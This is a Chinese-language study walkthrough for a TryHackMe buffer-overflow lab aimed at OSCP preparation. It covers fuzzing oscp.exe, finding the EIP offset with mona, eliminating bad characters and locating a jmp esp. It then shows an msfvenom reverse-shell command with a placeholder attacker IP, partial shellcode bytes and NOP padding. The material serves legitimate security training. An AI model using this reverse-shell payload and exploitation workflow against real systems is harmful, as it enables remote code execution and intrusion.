Buffer Overflow
相对较难,需要有较好的计组底子
缓冲区溢出基础:https://tryhackme.com/room/bof1
关于国内的博客讲的非常好的一篇文章,讲的很透彻很仔细:https://www.cnblogs.com/02SWD/p/15952483.html
请注意,这间客房不从头开始教授缓冲区溢出。它旨在帮助OSCP学生,并提请他们注意mona的一些功能,这将节省OSCP考试的时间。
我们将借助mona完成学习
Overflow 1
!mona config -set workingfolder c:\mona\%p
首先就是通过fuzz找到大概多少字节会导致缓冲区溢出使程序崩溃
我们可以通过构造一些随机字符,并且长度是上面fuzz的结果,我们可以使用一些小脚本帮助我们生成一些随机字符串:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <length>
然后再次运行exploit再次造成程序崩溃,然后借助mona查找寄存器:
!mona findmsp -distance <offset>
表示我们将从哪个位置开始查找,我们选择在我们缓冲区溢出的那个位置开始找,即上面fuzz的结果
Mona 应显示一个包含命令输出的日志窗口。如果没有,请单击“窗口”菜单,然后单击“日志数据”以查看它(选择“CPU”以切换回标准视图)。
在此输出中,您应该看到一行,其中指出:
EIP contains normal pattern : ... (offset XXXX)
现在我们就已经知道了eip的开头位置,我们重新修改exploit的溢出的随机数据,不再使用上面fuzz的结果,而是使用"这里的eip offset"
这意味着我们将会使用随机数据一路填充到"这里的eip offset",然后我们就可以控制该值
个人理解:由于这里已经被我们填充的数据造成溢出了,所以这里的eip offset应该就是我们的函数返回地址
现在我们先使用随机数据填充 如:BBBB
寻找坏角色
使用 mona 生成字节数组,并通过以下方式排除空字节 (\x00) 违约。请注意生成的 bytearray.bin 文件的位置(如果工作文件夹是根据本指南的 Mona 配置部分设置的,则位置应为 C:\mona\oscp\bytearray.bin)。
!mona bytearray -b "\x00"
现在生成一串与 字节阵列。以下 python 脚本可用于生成字符串 从 \x01 到 \xff 的坏字符数:
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
更新 exploit.py 脚本,并将有效负载变量设置为脚本生成的错误字符字符串。
在免疫中重新启动 oscp.exe,然后再次运行修改后的 exploit.py 脚本。记下 ESP 寄存器指向的地址,并在以下 mona 命令中使用它:
!mona compare -f C:\mona\oscp\bytearray.bin -a <address>
应该会出现一个弹出窗口,标有“mona 内存比较结果”。如果没有,请使用“窗口”菜单切换到它。该窗口显示比较结果,指示内存中与生成的 bytearray.bin 文件中的字符不同的任何字符。
并非所有这些人都是坏人!有时 badchar 也会导致下一个字节损坏,甚至影响字符串的其余部分。
列表中的第一个 badchar 应该是空字节 (\x00),因为我们已经将其从文件中删除。记下任何其他内容。在 mona 中生成一个新的字节数组,指定这些新的 badchar 以及 \x00。然后更新 exploit.py 脚本中的有效负载变量并删除新的坏字符。
在免疫中重新启动 oscp.exe,然后再次运行修改后的 exploit.py 脚本。重复 badchar 比较,直到结果状态返回“未修改”。这表明不再存在坏字符。
寻找跳跃点
使用 oscp.exe无论是正在运行还是处于崩溃状态,请运行以下 mona 命令,确保使用您标识的所有坏字符(包括 \x00)更新 -cpb 选项:
!mona jmp -r esp -cpb "\x00"
此命令查找所有“jmp esp”(或等效)指令,其地址不包含任何指定的坏字符。
我理解了很久,看了很多资料,才明白
然后选择其中一条jmp esp地址将其覆盖return address
由函数调用过程可知,一般情况下,ESP中地址总是指向系统栈且不会被溢出的数据破坏。函数返回时,ESP所指的位置是淹没的返回地址的下一位(子函数平衡栈ret n时,ESP将指向下n位)。
https://blog.csdn.net/yajuanpi4899/article/details/120944213
开始进行出栈读写操作:eip=esp,eip将esp的地址中指向的命令进行读取,逐步出栈,此时esp开始往低地址位靠近,当esp=ebp时,ebp读取现位置中存储的地址数据发生跳转,跳到父函数ebp处。
此时esp继续出栈,获取return addr,eip跳转至父函数栈顶位置,跳跃后eip继续从esp所含数据开始执行命令,就可以完成eip的函数执行步骤即:(此处要注意ret:即pop eip)
根据前面我的个人理解,加上文章的引导。所以,由于函数的返回地址被我们填充为了指向jmp esp指令的地址,当eip从栈顶一路到栈底,也就是到这的时候将会去执行jmp esp指令,而这个时候,esp指向的地址恰好是父函数的栈顶,也就是我们shellcode开始的位置,所以我们的shellcode将会被执行。
生成Payload
在 Kali 上运行以下 msfvenom 命令,使用您的 Kali VPN IP 作为 LHOST,并使用您识别的所有坏字符(包括 \x00)更新 -b 选项:
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f c
使用以下表示法复制生成的 C 代码字符串并将它们集成到 exploit.py 脚本有效负载变量中:
payload = ("\xfc\xbb\xa1\x8a\x96\xa2\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x5d\x62\x14\xa2\x9d"
...
"\xf7\x04\x44\x8d\x88\xf2\x54\xe4\x8d\xbf\xd2\x15\xfc\xd0\xb6"
"\x19\x53\xd0\x92\x19\x53\x2e\x1d")
预置 NOP
由于编码器可能用于生成有效负载,因此您将需要内存中的一些空间来解压缩有效负载本身。为此,可以将填充变量设置为 16 个或 更多 “无操作”(\x90) 字节的字符串:
padding = "\x90" * 16
现在我们的完整payload看起来像是这样的:
从缓冲区一直填充到栈底的return address,然后将jmp esp地址覆盖return address,而return address的后面就是我们的 NOP + shellcode,即父函数的栈顶。
Overflow 2
按照套路先fuzz一波,在700字节的时候程序崩了,
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 700
!mona findmsp -distance 700
得到的结果是634
查找坏字符
首先\x00除掉:
!mona bytearray -b "\x00"
得到结果:00 23 3c 3d 83 84 ba bb
并非所有这些人都是坏人!有时 badchar 也会导致下一个字节损坏,甚至影响字符串的其余部分。
挨个找:
把23去掉,24没了,23是坏的。
!mona bytearray -b "\x00\x23";exploit也去掉\x23
把3c去掉,3d没了,3c坏的。
!mona bytearray -b "\x00\x23\x3c";
以此类推
最终答案:00 23 3c 83 ba
把\x01去掉,因为这是被\x00影响的
后面的八个练习都是差不多这样的,基本没什么两样,所以后面的就不写了,有两个例子足够了,后面都是一样的,就是慢慢挨个挨个排
(例子)方法:
1.把07在脚本里面删了,坏字符串这里07还在上榜,08没了;07是坏的
2.把08从脚本里面删了,07还在坏字符串榜上,08也上榜了,07是坏的
3.把08从脚本里面删了,07、08都在,还多个09;07是坏的(除非07、08确定是好的)